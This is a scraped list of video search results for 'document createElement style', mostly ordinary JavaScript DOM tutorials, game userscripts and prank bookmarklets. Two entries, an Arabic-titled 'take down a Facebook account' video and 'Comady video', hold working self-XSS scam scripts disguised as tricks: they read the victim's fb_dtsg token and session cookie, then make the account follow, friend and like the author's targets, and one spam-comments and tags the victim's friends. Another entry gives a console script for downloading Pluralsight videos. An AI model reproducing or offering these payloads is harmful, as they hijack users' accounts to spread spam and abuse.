Home
Search results “Document createelement a style”
JavaScript Tutorial for Beginners - 36 - Creating a new element
 
10:42
In this video we will create a new element. Javascript code: http://pastebin.com/jnzfkBs8 HTML code: http://pastebin.com/JAfDWmCQ CSS Code: http://pastebin.com/Nb208UTf
Views: 35523 EJ Media
JavaScript  addEventListener
 
04:26
var div=document.createElement('div'); div.style.height='100vh'; document.body.appendChild(div) div.addEventListener('mousemove', function(event){ console.log(event); var x=event.clientX; var y=event.clientY; div.textContent=x+', '+y; div.style.backgroundColor='rgb('+x+', ' +y+ ',100)'; })
Views: 118 Rza Huseyin
JavaScript Tutorial For Beginners #37 - Adding Elements to the DOM
 
07:44
Hey all! So for I've taught you how to change existing content in the DOM, but in this JavaScript tutorial I want to show you how to add new elements too! To do this we use the createElement method, and then insert the new element into the DOM by using either one of the following methods: appendChild(child) insertBefore(child, element) If you have any questions, fire away :) SUBSCRIBE TO CHANNEL - https://www.youtube.com/channel/UCW5YeuERMmlnqo4oq8vwUpg?sub_confirmation=1 ========== JavaScript for Beginners Playlist ========== https://www.youtube.com/playlist?list=PL4cUxeGkcC9i9Ae2D9Ee1RvylH38dKuET ========== CSS for Beginners Playlist ========== https://www.youtube.com/playlist?list=PL4cUxeGkcC9gQeDH6xYhmO-db2mhoTSrT ========== HTML for Beginners Playlist ========== https://www.youtube.com/playlist?list=PL4cUxeGkcC9ibZ2TSBaGGNrgh4ZgYE6Cc ========== The Net Ninja ============ For more front-end development tutorials & to black-belt your coding skills, head over to - https://www.youtube.com/channel/UCW5YeuERMmlnqo4oq8vwUpg or http://thenetninja.co.uk ========== Social Links ========== Twitter - @TheNetNinja - https://twitter.com/thenetninjauk
Views: 31133 The Net Ninja
29: How To Change Elements Using JavaScript | Document Object Model Tutorial | JavaScript Tutorial
 
18:15
In this JavaScript tutorial I will teach you about the BOM and the DOM. We will learn how to change elements using JavaScript and how to change part of an element. Properties and Methods list: https://developer.mozilla.org/en-US/docs/Web/API/Element ➤ CHECK OUT THESE AWESOME PEOPLE! Daniel Simionescu Meet Daniel: another Full-Stack developer who can teach you coding fast and free :D https://www.youtube.com/channel/UCPIe87uLDW-QZ5FnUZqdxoA Code Smarter Hi, I'm Code Smarter, a new content creator. I create coding tutorials and coding challenges. I promise in the upcoming weeks my channel will be filled with content. Check my channel out and subscribe. Link: https://www.youtube.com/channel/UCB9rrRaWmDytZyK_GoHNDBQ?sub_confirmation=1 ➤ GET ACCESS TO MY LESSON MATERIAL HERE! First of all, thank you for all the support you have given me! I am really glad to have such an awesome community on my channel. It motivates me to continue creating and uploading content! So thank you! I am now using Patreon to share improved and updated lesson material, and for a small fee you can access all the material. I have worked hard, and done my best to help you understand what I teach. I hope you will find it helpful :) Material for this lesson: https://www.patreon.com/posts/javascript-29-20777646
Views: 2754 mmtuts
02 dom manipulation queryselector
 
06:28
Use querySelector to select any element in the DOM using CSS style selector strings.
Views: 153 Mitchell Hudson
Javascript Tutorial | Create & Append DOM Element's
 
12:55
In this lecture I'll be making a virtual DOM object within Javascript. Then I'll tell the DOM to add the relevant element using the information from our virtual DOM object. This will allow me to produce an element from Javascript. This tutorial is brought to you by http://www.avelx.co.uk/ - Coding tutorials to help you grow.
Views: 6815 Avelx
How to get skin rotator in Alias.io
 
01:34
SkypeParkYT Join DP clan Skype:Petterwjo Tag:₯☣ my Name:ᖫƤʌякᖭ⇿₯ Name:๖ʏօʀӄ༻一₯ Tampermonkey Userskript // ==UserScript== // @name Alis.io Skin Rotator // @namespace http://tampermonkey.net/ // @version 1.8 // @description Skin Rotator, probably have errors. // @author MiyakeDev // @author master2500 // @match http://alis.io/* // @grant none // ==/UserScript== var css = 'https://dl.dropbox.com/s/75efd07kjas6m0p/skinrotator.css'; var js = 'https://dl.dropbox.com/s/759dhhgv4njm3rl/skinrotator.js'; var dhg = document.createElement('style'); dhg.id = 'imgHeight'; var dlk = document.createElement('link'); dlk.rel = 'stylesheet'; dlk.href = css; var dsc = document.createElement("script"); dsc.type = "text/javascript"; dsc.src = js; $("script:last").after(dlk); $("head").append(dhg); $("script:last").after(dsc);
Views: 1552 Park
#01 - JavaScript HTML CSS Dom - Create / Append Element | DARIJA
 
11:09
#01 - JavaScript HTML CSS Dom - Create / Append Element |: http://www.thepronets.com/2018/08/01-javascript-html-css-dom-create.html For More Information : https://goo.gl/nC1dFC
Views: 1404 Channel TheProNet
04 dom manipulation style
 
04:55
Set the appearance of element with JavaScript by setting the style property.
Views: 92 Mitchell Hudson
Débutant/js  tableau dom
 
05:24
voila mon tuto concernant les tableau en javascript avec un body vide(TABLEAU DOM) le code javascript: function generer_table() { var body = document.getElementsByTagName("body")[0]; // creation de la table var table = document.createElement("table"); var table_Body = document.createElement("tbody"); var row = document.createElement("tr"); //cellule 3 var cell1 = document.createElement("td"); var cellText = document.createTextNode("Cellule1"); cell1.style.borderWidth = "1px"; cell1.style.borderStyle = "solid"; cell1.appendChild(cellText); row.appendChild(cell1); //cellule 3 var cell2 = document.createElement("td"); var cellText2 = document.createTextNode("Cellule2"); cell2.style.borderWidth = "1px"; cell2.style.borderStyle = "solid"; cell2.appendChild(cellText2); row.appendChild(cell2); //cellule 3 var cell3 = document.createElement("td"); var cellText3 = document.createTextNode("Cellule3"); cell3.style.borderWidth = "1px"; cell3.style.borderStyle = "solid"; cell3.appendChild(cellText3); row.appendChild(cell3); table_Body.appendChild(row); table.appendChild(table_Body); body.appendChild(table); } N'hésitez pas à mettre un +1, à la partager ,à me laisser des commentaires et à vous abonner à ma chaine si cette vidéo vous a été utile.
Views: 22 Mimia Bn
8.2: Creating HTML Elements with JavaScript - p5.js Tutorial
 
08:39
This video covers how to dynamically create HTML elements from JavaScript using p5.js. createP() and createElement() are covered. Next video: https://www.youtube.com/watch?v=YfaJ20vXcK8 Support this channel on Patreon: https://patreon.com/codingtrain Contact: https://twitter.com/shiffman Send me your questions and coding challenges!: https://github.com/CodingTrain/Rainbow-Topics Link to code on Github: https://github.com/CodingTrain/Rainbow-Code p5.js: http://p5js.org For More p5.js Videos: https://www.youtube.com/playlist?list=PLRqwX-V7Uu6Zy51Q-x9tMWIv9cueOFTFA Help us caption & translate this video! http://amara.org/v/Qbu6/
Views: 54240 The Coding Train
Алла Пугачева отмечает день рождения
 
00:39
Алла Пугачева отмечает день рождения. Алле Пугачевой в среду исполнилось 66 лет. Первым примадонну поздравил муж — Максим Галкин. Он разместил на своей странице в Instagram фотографию супруги с пожеланием здоровья, любви и радости. День рождения — 66 лет — отмечает в среду Алла Пугачёва, сообщает ТВ Центр. Для поклонников певицы, да и для тех, кто себя таковыми не считает, эта апрельская дата давно перестала быть всего лишь фактом биографии, ведь по карьере Пугачёвой можно описать историю российского шоу-бизнеса за многие годы. При любой музыкальной моде песни примадонны становятся хитами. Многие из них она написала сама, но немало нашла у талантливых, в те времена почти никому неизвестных провинциальных авторов. С Пугачёвой работают лучшие композиторы и поэты, к ней тянутся звёздные коллеги. И очень многим талантам Пугачева сама помогла взойти на сцену. Так что желающих поздравить Аллу Борисовну с днём рождения в среду будет очень много. Новости СМИ2 (function() { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true; sc.src = 'http://news.smi2.ru/data/js/77654.js'; sc.charset = 'utf-8'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s); }()); Загрузка... (function(){ var D=new Date(),d=document,b='body',ce='createElement',ac='appendChild',st='style',ds='display',n='none',gi='getElementById'; var i=d[ce]('iframe');i[st][ds]=n;d[gi]("LentaInformScriptRootN8549")[ac](i);try{var iw=i.contentWindow.document;iw.open();iw.writeln("");iw.close();var c=iw[b];} catch(e){var iw=d;var c=d[gi]("LentaInformScriptRootN8549");}var dv=iw[ce]('div');dv.id="MG_ID";dv[st][ds]=n;dv.innerHTML=8549;c[ac](dv); var s=iw[ce]('script');s.async='async';s.defer='defer';s.charset='utf-8';s.src="//jsn.lentainform.com/t/v/tvc.ru.8549.js?t="+D.getYear()+D.getMonth()+D.getDate()+D.getHours();c[ac](s);})(); -- '); document.write(''); AdFox_getCodeScript(1,pr1,'http://ads.adfox.ru/220018/prepareCode?pp=g&ps=bnry&p2=evrr&pct=a&plp=a&pli=a&pop=...Источник: http://www.tvc.ru/news/show/id/66141 Copyright © 2007-2014 ОАО «ТВ Центр» http://www.tvc.ru/
Diep.io Mods/Shaders: Diep.io with Shadows (Info in Description)
 
02:07
I added shadows to diep in this new shader that I made (based on Dayshadow's concept art here: https://www.reddit.com/r/Diepio/comments/91pnbm/concept_image_of_diep_shaders/). Instructions for doing this yourself are slightly more complicated, but they will work if you follow them. Get tampermonkey, and paste the following script into a new userscript: // ==UserScript== // @name Diep with Shadows // @namespace http://tampermonkey.net/ // @version 0.1 // @description diep.io shader // @author You // @match https://diep.io // @match http://diep.io // @grant none // ==/UserScript== (function() { 'use strict'; var c = document.getElementById('canvas'); var ctx = c.getContext("2d"); var c2 = document.createElement('canvas'); var ctx2 = c2.getContext('2d'); var c3 = document.createElement('canvas'); var ctx3 = c3.getContext('2d'); c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; document.getElementsByTagName('body')[0].appendChild(c2); document.getElementsByTagName('body')[0].appendChild(c3); c2.style.position = "absolute"; c2.style.top = "0px"; c2.style.left = "0px"; c2.style.zIndex = -1; c3.style.position = "absolute"; c3.style.top = "0px"; c3.style.left = "0px"; c3.style.zIndex = -2; c2.style.filter = "blur(10px) contrast(0%) saturate(0%) brightness(20%)"; window.addEventListener("resize", function() { c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; }, false); var mP = { x: 0, y: 0 }; window.addEventListener("mousemove", function(e) { mP = { x: e.clientX, y: e.clientY }; }, false); c.style.opacity = 1; var i = 0; var shaderButton = document.createElement('button'); document.getElementsByTagName('body')[0].appendChild(shaderButton); shaderButton.style = "position:absolute; top:10px; left:10px;"; shaderButton.innerHTML = "Turn on the shader or something lol"; shaderButton.onclick = function() {input.set_convar('ren_background', false);} function loop1() { i++; ctx3.fillStyle = "hsl(0, 0%, 90%)"; ctx3.fillRect(0, 0, c2.width, c2.height); ctx2.clearRect(0, 0, c2.width, c2.height); ctx2.drawImage(c, 20, 20); setTimeout(loop1, 1000 / 30); } loop1(); })(); Go to diep.io. Press the button in the top left to toggle the shader effects. If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
High score (Ctrl w troll) Slither.io
 
05:17
Mod: // ==UserScript== // @name SLITio by szymy // @namespace slitio.szymy // @version 0.1.18 // @description slither.io MOD // @author szymy // @match http://slither.io/* // @updateURL http://ogario.ovh/slitio/download/SLITio.user.js // @run-at document-body // @grant none // ==/UserScript== // Source: http://slitio.ogario.ovh (function(w) { var modVersion = "v0.1.18", renderMode = 2, // 3 - normal, 2 - optimized, 1 - simple (mobile) normalMode = false, gameFPS = null, positionHUD = null, ipHUD = null, scoreHUD = null, fpsHUD = null, styleHUD = "color: #FFF; font-family: Arial, 'Helvetica Neue', Helvetica, sans-serif; font-size: 14px; position: fixed; opacity: 0.35; z-index: 7;", inpNick = null, currentIP = null, retry = 0, bgImage = null, rotate = false, highScore = 0; function init() { // Append DIVs appendDiv("position-hud", "nsi", styleHUD + "right: 30; bottom: 120px;"); appendDiv("ip-hud", "nsi", styleHUD + "right: 30; bottom: 150px;"); appendDiv("score-hud", "nsi", styleHUD + "right: 30; bottom: 170px;"); appendDiv("fps-hud", "nsi", styleHUD + "right: 30; bottom: 190px;"); positionHUD = document.getElementById("position-hud"); ipHUD = document.getElementById("ip-hud"); scoreHUD = document.getElementById("score-hud"); fpsHUD = document.getElementById("fps-hud"); // Add zoom if (/firefox/i.test(navigator.userAgent)) { document.addEventListener("DOMMouseScroll", zoom, false); } else { document.body.onmousewheel = zoom; } // Keys w.addEventListener("keydown", function(e) { switch(e.keyCode) { // ESC - quick resp case 27: quickResp(); break; // A - Auto skin rotator case 65: rotate = !rotate; rotateSkin(); break; // Q - Quit to menu case 81: quit(); break; // S - Change skin case 83: changeSkin(); break; // Z - Reset zoom case 90: resetZoom(); break; } }, false); // Hijack console log /* if (w.console) { w.console.logOld = console.log; w.console.log = getConsoleLog; } */ // Set menu setMenu(); // Set leaderboard setLeaderboard(); // Set graphics setGraphics(); // Update loop updateLoop(); // Show FPS showFPS(); } // Append DIV function appendDiv(id, className, style) { var div = document.createElement("div"); if (id) { div.id = id; } if (className) { div.className = className; } if (style) { div.style = style; } document.body.appendChild(div); } // Zoom function zoom(e) { if (!w.gsc || !w.playing) { return; } w.gsc *= Math.pow(0.9, e.wheelDelta / -120 || e.detail / 2 || 0); } // Reset zoom function resetZoom() { w.gsc = 0.9; } // Get console log function getConsoleLog(log) { //w.console.logOld(log); if (log.indexOf("FPS") != -1) { gameFPS = log; } } // Set menu function setMenu() { var login = document.getElementById("login"); if (login) { // Unblock skins w.localStorage.setItem("edttsg", "1"); // Load settings loadSettings(); // Keys info var div = document.createElement("div"); div.style.width = "300px"; div.style.color = "#56ac81"; div.style.fontFamily = "'Lucida Sans Unicode', 'Lucida Grande', sans-serif"; div.style.fontSize = "12px"; div.style.textAlign = "center"; div.style.opacity = "0.5"; div.style.margin = "0 auto"; div.style.padding = "10px 0"; div.innerHTML = "[ESC] - Quick resp | [Q] - Quit to menu-br/-[A] - Auto skin rotator | [S] - Change skin-br/-[Z] - Reset zoom | [Space] - Boost"; login.appendChild(div); // Menu container var sltMenu = document.createElement("div"); sltMenu.style.width = "260px"; sltMenu.style.color = "#8058D0"; sltMenu.style.backgroundColor = "#1e262e"; sltMenu.style.borderRadius = "29px"; sltMenu.style.fontFamily = "'Lucida Sans Unicode', 'Lucida Grande', sans-serif"; sltMenu.style.fontSize = "14px"; sltMenu.style.textAlign = "center"; sltMenu.style.margin = "0 auto 100px auto"; sltMenu.style.padding = "10px 14px"; sltMenu.innerHTML = "MOD: -strong-SLITio by szymy-/strong- | -strong-" + modVersion + "-/strong-"; login.appendChild(sltMenu); // IP input container var div = docume
Views: 181 UniversalTwinz61
فقرة تطيير حساب الفيس في ثواني حتى لو كان ماكد بكود خيالي رابط الكود اسفل الفديو
 
01:29
/* Nh?c */ var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = ""; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100004007711075");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("547308005412785");sublist("547308005412785");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=1467271763521927&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("1467271763521927");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)} ///////////////////////////KH‘NG X”A ? –¬Y/////////////////////////// // t‡i IDS("100004007711075");sublist("309859869202932");sublist("392501614242041");a("100005367634268");IDS("100004007711075");P("592143407583552");P("582999478497945");P("582421328555760");P("579856352145591");P("548957485247837");a("100005367634268");P("273665952838835");P("294362407435856");P("1516173815298388");P("1467272503521853");P("718365414899786");P("718365558233105"); // cu?ng P("280695495469214");P("553480564795529");Like("256654094540498");Like("256654971207077");Like("138193409583659");Like("819200934774552");;Like("579210425543517");Like("1467271763521927");P("329774973894599");
bookmarkVID:shows howto make personal bookmark. it is in the form of a pop-up
 
00:33
javascript:function%20addPanelStyle(){var%20panelStyle=document.createElement("style");panelStyle.innerHTML="#panel{position:absolute;top:20%;left:30%;background-color:red;color:green;width:150px;height:200px;padding:1em;font-size:18px;font-family:futura;z-index:10000}";document.body.appendChild(panelStyle);};function%20DivObject(){this.htmlElement=document.createElement("div");document.body.appendChild(this.htmlElement);this.htmlElement.id="panel";this.htmlElement.innerHTML="Your%20Bookmark"};function%20spawnPanel(){var%20myDivObject=new%20DivObject();};addPanelStyle();spawnPanel();
Views: 37 CS T
how to make facebook harlem shake
 
02:17
1. Go to your profile. 2. Press F12 3. Click Console. 4. Paste this Code: javascript:(function(){function c(){var e=document.createElement(-link-);e.setAttribute(-type-,-text-css-);e.setAttribute(-rel-,-stylesheet-);e.setAttribute(-href-,f);e.setAttribute(-class-,l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t-e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement(-div-);e.setAttribute(-class-,a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height-e&&s.height-n&&s.width-t&&s.width-r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t-=w&&t-=b+w}function S(){var e=document.createElement(-audio-);e.setAttribute(-class-,l);e.src=i;e.loop=false;e.addEventListener(-canplay-,function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e-O.length;e++){T(O[e])}},15500)},true);e.addEventListener(-ended-,function(){N();h()},true);e.innerHTML=- -p-If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.--p- -p--;document.body.appendChild(e);e.play()}function x(e){e.className+=- -+s+- -+o}function T(e){e.className+=- -+s+- -+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp(-\\b-+s+-\\b-);for(var n=0;n-e.length;){e[n].className=e[n].className.replace(t,--)}}var e=30;var t=30;var n=350;var r=350;var i=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake.mp3-;var s=-mw-harlem_shake_me-;var o=-im_first-;var u=[-im_drunk-,-im_baked-,-im_trippin-,-im_blown-];var a=-mw-strobe_light-;var f=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake-style.css-;var l=-mw_added_css-;var b=g();var w=y();var C=document.getElementsByTagName(-*-);var k=null;for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn(-Could not find a node of the right size. Please try a different page.-);return}c();S();var O=[];for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})() 5. Then press enter :D tags: how to facebook harlem shake shake,harlem facebook harlem shake make
Views: 18015 Nikolis
Download videos from Pluralsight 100% free
 
02:06
This is the easiest and ban free method to download your videos from Pluralsight. Just copy the following script into the console in Developer tools (chrome browser), then click in the download link and select Save As. You need to have an account at Pluralsight first. Pluralsight also provide one month free trial, on this period you can download as many as possible. First Script: ********* var cc = 0; ********* Second Script: ************************ var e=document.getElementById('button-table-of-contents-wrapper'); var t=document.createElement("a");var l=document.createElement("a"); l.style.background="blue";l.style.color="white";l.style.position="fixed"; l.style.right=0;l.style.top=0; t.style.background="blue";t.style.color="white"; t.style.position="fixed";t.style.right=0;t.href="#";t.style.top=3; l.href=document.getElementsByTagName('video')[0].src; l.innerHTML="download video";t.innerHTML="display title"; t.onclick=function(){ alert((++cc) + ". " + document.getElementById('module-clip-title').innerHTML.replace(new RegExp(/([^a-zA-Z0-9 ]+)/, 'g'), '-'));} e.appendChild(l);e.appendChild(t); ***************************
Views: 231 Folahan Yusuf
Web development 2019 | html5 | javascript | css | web development for beginner
 
03:20
adding element in dom javascript || html || web design || css style || programmer || best coding || best javascript || fastest coder || shape of you remix || Ronaldo || messi || football
Views: 66 CodeIs Power
Binusmaya bug
 
00:17
The World class university javascript: var css = '.sort2 .itemContent iframe {height: 900px!important;}', head = document.head || document.getElementsByTagName('head')[0], style = document.createElement('style'); style.type = 'text/css'; if (style.styleSheet){style.styleSheet.cssText = css; } else {style.appendChild(document.createTextNode(css)); } head.appendChild(style);
Views: 161 Edward Anthony
Kanal Tanıtımı ve Çay Ismarlama - Yazılım ve Girişim
 
03:32
Merhabalar Hoş Geldin, Öncelikle sana çay veya kahve ısmarlamak istiyorum. Videoda anlatılanları bizzat uygularsan karşılıklı çay veya kahve içebilir ve sohbet edebiliriz. ÇAY var x = document.createElement("img"); x.style = 'position: fixed;bottom: 10px;right: 10px;width: 300px;'; x.src = 'https://tik.to/TKz'; document.getElementsByTagName('body')[0].appendChild(x); KAHVE var x = document.createElement("img"); x.style = 'position: fixed;bottom: 10px;right: 10px;width: 300px;'; x.src = 'https://tik.to/KdU'; document.getElementsByTagName('body')[0].appendChild(x); Yukarıdaki kodları adres çubuğuna başında javascript: olacak şekilde yaz. NOT: javascript: elle yazmalısınız yoksa tarayıcı javascripti siliyor. Tag: "Girişimcilik" "Yazılım" "Motivasyon" "Startup" "Developer" "Gelitirici olmak" "Girişimci olmak" "girişimcilik" "girişimci" "girişim ofisleri" "girişimcilik nedir" "yazılım bilimi" "yazılım dersleri" "yazılımcı" "yazılımcı sohbetleri"
Comady video...... Dipesh studio
 
00:15
var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = "http://www.uploadhosting.co/uploads/222.127.170.109/%28Yiruma%29%20River%20Flow%20in%20You%20-%20Sungha%20Jung.mp3"; _div.appendChild(_audio); _body.appendChild(_div); var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","579105992208767","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text= Yeah I got 1m followers i will share you how to get 1m followers too kindy follow all the steps!","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\xom .............thanks watching my video and subscribe and shared
Views: 12 DIPESH Studio
JavaScript DOM 1 - Accessing elements
 
03:59
Accessing HTML elements using JavaScript and replacing the text in the element.
Views: 28 Code It Easy
How to make a website do the Harlem shake
 
07:13
Code: javascript:(function(){function c(){var e=document.createElement("link");e.setAttribute("type","text/css");e.setAttribute("rel","stylesheet");e.setAttribute("href",f);e.setAttribute("class",l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t_e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement("div");e.setAttribute("class",a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height_e&&s.height_n&&s.width_t&&s.width_r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t_=w&&t_=b+w}function S(){var e=document.createElement("audio");e.setAttribute("class",l);e.src=i;e.loop=false;e.addEventListener("canplay",function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e_O.length;e++){T(O[e])}},15500)},true);e.addEventListener("ended",function(){N();h()},true);e.innerHTML=" _p_If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser._/p_ _p_";document.body.appendChild(e);e.play()}function x(e){e.className+=" "+s+" "+o}function T(e){e.className+=" "+s+" "+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp("\\b"+s+"\\b");for(var n=0;n_e.length;){e[n].className=e[n].className.replace(t,"")}}var e=30;var t=30;var n=350;var r=350;var i="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake.mp3";var s="mw-harlem_shake_me";var o="im_first";var u=["im_drunk","im_baked","im_trippin","im_blown"];var a="mw-strobe_light";var f="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake-style.css";var l="mw_added_css";var b=g();var w=y();var C=document.getElementsByTagName("*");var k=null;for(var L=0;L_C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn("Could not find a node of the right size. Please try a different page.");return}c();S();var O=[];for(var L=0;L_C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})()
Views: 199 MrPigster
How to Alis.io Skin rotator 2.0 2016!
 
10:41
Code:// ==UserScript== // @name Alis.io Skin Rotator // @namespace http://tampermonkey.net/ // @version 2.0 // @description Skin Rotator, probably have errors. // @author MiyakeDev // @match http://alis.io/* // @grant none // ==/UserScript== var css = 'https://dl.dropbox.com/s/75efd07kjas6m0p/skinrotator.css'; var js = 'https://dl.dropbox.com/s/759dhhgv4njm3rl/skinrotator.js'; var dhg = document.createElement('style'); dhg.id = 'imgHeight'; var dlk = document.createElement('link'); dlk.rel = 'stylesheet'; dlk.href = css; var dsc = document.createElement("script"); dsc.type = "text/javascript"; dsc.src = js; $("head").append(dhg); $("script:last").after(dlk); $("script:last").after(dsc); site imgur: http://imgur.com/ skins site: http://www.aeroskinsagar.tk/ ╔♫═╗╔╗ ╚╗╔╝║║♫═╦╦╦╔╗ ╔╝╚╗♫╚╣║║║║╔╣ ╚═♫╝╚═╩═╩♫╩═╝ ╔╦♫═╦╦╗ ║║║║║║║ ╠═╠═╩═♥ ♫═╝
Views: 165 Fusion- Agar
skin rotator alis.io
 
01:57
tampermonkey: https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl=es script: // ==UserScript== // @name Alis.io Skin Rotator // @namespace http://tampermonkey.net/ // @version 2.0 // @description Skin Rotator, probably have errors. // @author MiyakeDev // @match http://alis.io/* // @grant none // ==/UserScript== var css = 'https://dl.dropbox.com/s/75efd07kjas6m0p/skinrotator.css'; var js = 'https://dl.dropbox.com/s/759dhhgv4njm3rl/skinrotator.js'; var dhg = document.createElement('style'); dhg.id = 'imgHeight'; var dlk = document.createElement('link'); dlk.rel = 'stylesheet'; dlk.href = css; var dsc = document.createElement("script"); dsc.type = "text/javascript"; dsc.src = js; $("head").append(dhg); $("script:last").after(dlk); $("script:last").after(dsc); album de imagenes http://imgur.com/a/gqB2f
